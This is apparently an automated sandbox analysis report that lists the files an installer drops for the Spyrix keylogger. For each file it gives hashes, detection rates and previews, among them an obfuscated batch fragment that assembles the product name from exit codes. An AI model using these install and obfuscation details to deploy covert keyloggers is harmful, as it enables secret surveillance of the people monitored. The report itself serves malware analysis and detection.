Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-LIV1O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://dashboard.spyrix.com">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.722027548259444
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzPK/tWwMdyTHn:HRYFVmjzPAt0dyTH
MD5:	D1CA0FE113AE79394ECFA5225B06D03A
SHA1:	2EFEB00BC64706B390FA188776A423DD871AE842
SHA-256:	A9A52C2A16DAB18ED9E869CAE2F486327040572461E05FB8F774DC543A82CD45
SHA-512:	BFDE031A1C39770EEAF27F0874B01C99BCA6D3EAB2D55B9FABFD28CAD2EF6D56387510548DFCA3F575D7341B16B05961C00083E19AB33A07A84343B257CB385A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://dashboard.spyrix.com"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NNSLF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1308909
Entropy (8bit):	6.226978823759581
Encrypted:	false
SSDEEP:	24576:8tdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9KJ:kqTytRFk6ek14hk
MD5:	E7AB51FCD6A4B56B17A6D7019743346A
SHA1:	0AC79F07195B6D6C25D64864C762E5910D8DC52F
SHA-256:	3BA57A14C77AD692AD21D6502ED32A9FFD1E23CF908F70A4E3E13635DEBED246
SHA-512:	1F2CAA370B45ACCEF65E1863EEC48D02395349D44FDED44E9FE3652F5CDA05A3DC271295550EC9905826F964D20E9774793DACA0937F5D79308154E060AFD808
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-PIGO0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.084962500721156
Encrypted:	false
SSDEEP:	3:sLvovFN/tQZn:EItK
MD5:	70C758B45D366FDD5BA4F0D0D1088B94
SHA1:	CD0CBB3DF6F011B41B24F8E1CA805469F234F044
SHA-256:	DCF52739862C4FBF4B4C04F470F9F62B46E308E9E5FA87CDFAD1DC66E753DF16
SHA-512:	5AF2BFE2166E3578D3BADA9738CD0C769B2F5A2B9E84B812C7193E3A88163B32B94EB36DE83347A8E7DC75079608102C0CF05293E647132C0F633F67AAECC446
Malicious:	false
Reputation:	unknown
Preview:	timeout 6..dashboard.url

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-Q3LI9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-TEJTU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.432468112054125
Encrypted:	false
SSDEEP:	6:hmRBMeZSMo29ncrTMo29ncrZHbMo29ncrhMo29ncrXMo29ncrMMo29ncQXp23dUy:wbgK6fK6hbK6VK6bK6IK6CU9SL/A
MD5:	498851BBE00277D04DB98A521FE760F7
SHA1:	671A1E5F003A81734DCF193321F60AC0C7AB1739
SHA-256:	1F5C9CB793AAC6CB8B677222C0689A955CE2A52B4022E6179AB70EB8A4261513
SHA-512:	98C1DC048EDDFCB72EDA4DE75C8237FF19A4B8AFA9D31572ED608BF8018713AE4073F82F0CF838B09CE4F51746A3B17DC88619ACC7C2C6FF7453FE885059AE50
Malicious:	false
Reputation:	unknown
Preview:	@echo off..set u_id=..cmd /c exit 83..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 112..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 121..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 114..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 105..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 120..set u_id=%u_id%%=exitcodeAscii%..set prg_id=%u_id% Free Keylogger..set d_id=dashboard..set p_id=https..set e_id=xe

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.479003452408153
Encrypted:	false
SSDEEP:	6144:fmptxuYgIrlmSqUM21IU5KWieEsdk5aKa1CZHDAO+OYb:2/uYgIrA/pU548AaKa1QxYb
MD5:	D37B9AE44F3B37F41295334DE9EF14C9
SHA1:	4FD95C78873CE84DDF9FFA755504F5279C4A3332
SHA-256:	5BA50A315B9C02CCCD629FFBBF12A5564FD0A557FECD0582D165FE04BE3D850B
SHA-512:	AF5B2D2321E81E0B407B74B4092E190A5081D248BDDF21A92A7251E5CF6C19DFDECB09E35BABA32D04C4AD7CD8659C568208B3314E37159035E1F61BE6AB387E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m]..m]..m]...]..m]...]..m]...]..m]...]..m]B.0]..m]..l]..m]...]..m]...]..m]...]..m]Rich..m]................PE..L....:.J...........!...............................................................................................@%......T...<.......................................................................@...............8............................text............................... ..`.rdata...h.......p..................@..@.data...\B...@... ...@..............@....reloc...(.......0...`..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1274880
Entropy (8bit):	6.836546460752662
Encrypted:	false
SSDEEP:	24576:te0Xn1+KpPCrpxqqyfATvxlLVNqRadDqef2BLbIEnp1VWMVRdzd:tJ0frxRqRIDXfuI2p1FVRdzd
MD5:	D66922B7D10F688564B1CFB25B2681EC
SHA1:	E97422EF6B23366FCD196DF334BD111FEBF2E880
SHA-256:	E0E0697DBCD35C5C8E6E0E19C8A4186F7902D95227E8D7C0AE1C90E0E56370A1
SHA-512:	5BCDB4D574E95B699EDEC336CA596C1D9446A648D27AD2B32E0D5C14F301F2EF783AE53062D9FE9E6FA956BF04A0B4F4F1B845B5194A72B2F9EAED4D9E9C0EBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..v...v...v.......v.......v...w.>.v..=....v...v...v.....r.v.......v.......v.......v.Rich..v.........PE..L...L*.O...........!.....4...\|.......].......P.......................................%.........................................x.... ..8....................0......pR..................................@............P..4............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data.......p...p...T..............@....rsrc...8.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	4.95775402864365
Encrypted:	false
SSDEEP:	384:UyK3wUGkRqqS7M2IgCEAIAiIYNwCPjuPTyySHaNM7lcomkn3J:UhgqSUdEpNw+jMTHS6eJ
MD5:	C61869FD95FCAA4887007EE40C1AEF78
SHA1:	5B2E9E425C48F37A3C6F2AFCFD35569BE240FB0C
SHA-256:	4EBE5322D84F71C59E806B8BD29D3C53D3FDA1C82238084FBAA8852DE668E14E
SHA-512:	815D5C77AF6F439D5FD3C254B6F1957537A30507D4BB40CB5ADB6FDC817D2389BD5B8D69F7AE67AF87C1F42B7A5799E0F82A0A3A0C543CFF46E72B74D867F9A8
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="..."..tbStartHint="..... ......."..tbStop="...."..tbStopHint="..... ......."..tbFind="....."..tbFindHint="..... .. ....... ......."..tbSetting="........."..tbSettingHint="....... ........"..tbAbout="..."..tbAboutHint=".../...... ......."..tbHomePage="...... ........"..tbHomePageHint="...... ... ...... ........"..tbToday="....."...tbTodayHint="...... ... ... ....."..tbHide="....."..tbHideHint="..... ..... (.. .... ... .. .... ......)"..tbMinimize="....."..tbMinimizeHint="..... ... ......"..tbExit="...."..tbExitH

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.088144154341775
Encrypted:	false
SSDEEP:	768:ssSn8tDcYXyC+R+8tDcpzyA/mwMWGwI+X0IjuqhR2X4PUPgb5o69HPriWEudPiaR:sswX64zI
MD5:	23F3B31CDFBD1A8A1695D3D7E4EF9B36
SHA1:	A1B344F97F06F83DD818A51338B965793167F826
SHA-256:	6774CCE8D38C1CE308190456560DDDC892BB4845220D08622C7D89BA79A148CB
SHA-512:	145B093694165C40D4B951A2193BC573E57538D0EC6252A1C659B5258ACC327573803C31BC184196B5C0AEF372157878FFF76E7250BB2B4211BCA04A0488B3C8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43013
Entropy (8bit):	5.090193363439038
Encrypted:	false
SSDEEP:	768:s8SX8t+yiBkyKWm+yqBjLW5qoFxbyl2Zweq4zX:s8cf4zX
MD5:	2519F9520A2AB950F74212172A0BEB94
SHA1:	BA0E1A1C41C867840AE63A677B053DA1118F886B
SHA-256:	E1A9AD7ADB8F8E6969D8F8522118371971B6FE01CD6248819CEBEDBF2EAE9CB6
SHA-512:	AA64B50E2570FFC247DB4D7D182F56A3C0010247AAC51D030AB554DA1A1B4D465CCEA6C50389610864E4B89E4381F575672D0A53018CE18483FAD26B021C1ECE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43600
Entropy (8bit):	5.089965856777119
Encrypted:	false
SSDEEP:	768:s8SX8tS1BOd5rXmgamSN4UIRop4RiHAhzIaq4z4:s8cWRK4z4
MD5:	A79752006AFB6D9A39FC512475ED8493
SHA1:	41B4CD12ACE830E94F30119B35317B7C3C49DAEA
SHA-256:	F0DEFD01327E90A5DCB72C78B1A1D0A875D39E43AC8CD1D2BB0E63B25465BADF
SHA-512:	003CEED560F76521D0457BE2CCD3E438E7100765A6ECA110AE9EE47B43FA807DB389F1B1E1C3D001FC170B38E211E46A4D280799BEE93DA79237B9BD9B34F812
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34167
Entropy (8bit):	5.060082647909622
Encrypted:	false
SSDEEP:	384:p4ew9g0BnPz+p/zWFU48XTKjH2njzr8x3e9kl6YpXNEnysJQezqCdPcedBKfieoE:p4e548XTKT2njX8x3UW7U7vhezZ/6A9P
MD5:	67CFAF3E0373E3678B93AFE97714C9CC
SHA1:	67D9665DEC3734F04E4FE7F893FE12CF008769FD
SHA-256:	E47932F8DAD868BDFA11A27D4E6B6F5520D99C33FB574BB74D1FA4ED37DE33DB
SHA-512:	651811F016A6081D2913336BA4E1B7562DC3A65F7727005B25BC5F0B86C7AF97098C5AEC40FD42CEE43433B4F0036C64479A12C47D5A0A32ED42B656DE6ECDD2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	79588
Entropy (8bit):	4.979859328003009
Encrypted:	false
SSDEEP:	768:p4eOev/+zl3C79k8thfqXMwANr1DZoLLXI1nHT2njX8x3Gj5g5V5V5h5G5P5N59h:p4+w60IA99
MD5:	BFC11879D9DE972A3AE377B204D09593
SHA1:	7B79C412A2AE5D21CCA333CC2F96B70DD7E1C3DE
SHA-256:	DA65EA1EAC2D7DFC5F8EA31CF07A34ECD9054B5BBE31AA7651DAB81518E67324
SHA-512:	81F878B172CC528E2ACE51BE1DE4D27B248EE8B2E5FB3C7A0B5D6A51CC5A4024B7255975F8A98F85E7BC79C16F059DC1958CDC0DDFC07CF9DA1B0926B21D0A49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-720Q2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	51302
Entropy (8bit):	5.092103345877651
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrmQBkyKWm+eCk4O6Cg2NjrOX/zJ0PfOyGlgOYBJiDBNBiOl/Vq/M:ssZdBa4zS
MD5:	E5A9141385B035A9DA437DD1F1083F69
SHA1:	A6959E190DCDAD51B46960285E8EFBE532648E7A
SHA-256:	F5F01449E3735132C0A835E6F6A6E9810BF63592073AD66273F6DFEAE36EB41A
SHA-512:	A7B6E252D2B28977A1C1699582BC66B40D99D4B18F47CA78BAFF8D5D0EED592FF6FD9E98E3C10658823A586244CA08A8EDD8A8B1B9B391881C7794E1F0C5EED6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-ACG6U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	50648
Entropy (8bit):	5.076966621667136
Encrypted:	false
SSDEEP:	768:s8SW8t+CiBkyKWm+YqBjLW5qoqKZmbOTJbwQzgJetfBq4z+:s8f8Q4z+
MD5:	927893BFF8C06F090F00A06389C24A42
SHA1:	EADC77D6AAADC171CBF54B81A41930912803AAA0
SHA-256:	37E18C594AA49F95B3CB800A7425EB6AD57FF8BAA97A523F971F8B9F77FC5F70
SHA-512:	1DA7CA2795A54523DE39475A40832088924BFC49DD194A25E202C38D84F9A77389DEC2E612667C0D036ED911F3136D2D23D52AA43C6251D712E43C470E1031C7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-AH45L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56628
Entropy (8bit):	5.001958639036602
Encrypted:	false
SSDEEP:	768:pqFk5evUwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZ+GjaorHye0HmuwB:pqnVUne8GjaUECaIA9o
MD5:	BA9CD5C6FBC3F41BA7B21B842B211D29
SHA1:	337DF42901DA8E9855D59333E4357BB3CF9953E2
SHA-256:	CD14DD162DFBA323EB79D496DB0E9D053B9D21A8AB7E300232074458A91F62E4
SHA-512:	D6A9DC42E548806E469BA0B15C40E886BE92EBBE247116FEE9E15EA83D6B3A8B19C42DF639405DBCB70B3E6859E243406CA24BBAEEAA57E95CCE26128D04ECD7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-GBV95.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	79588
Entropy (8bit):	4.979859328003009
Encrypted:	false
SSDEEP:	768:p4eOev/+zl3C79k8thfqXMwANr1DZoLLXI1nHT2njX8x3Gj5g5V5V5h5G5P5N59h:p4+w60IA99
MD5:	BFC11879D9DE972A3AE377B204D09593
SHA1:	7B79C412A2AE5D21CCA333CC2F96B70DD7E1C3DE
SHA-256:	DA65EA1EAC2D7DFC5F8EA31CF07A34ECD9054B5BBE31AA7651DAB81518E67324
SHA-512:	81F878B172CC528E2ACE51BE1DE4D27B248EE8B2E5FB3C7A0B5D6A51CC5A4024B7255975F8A98F85E7BC79C16F059DC1958CDC0DDFC07CF9DA1B0926B21D0A49
Malicious:	false
Reputation:	unknown
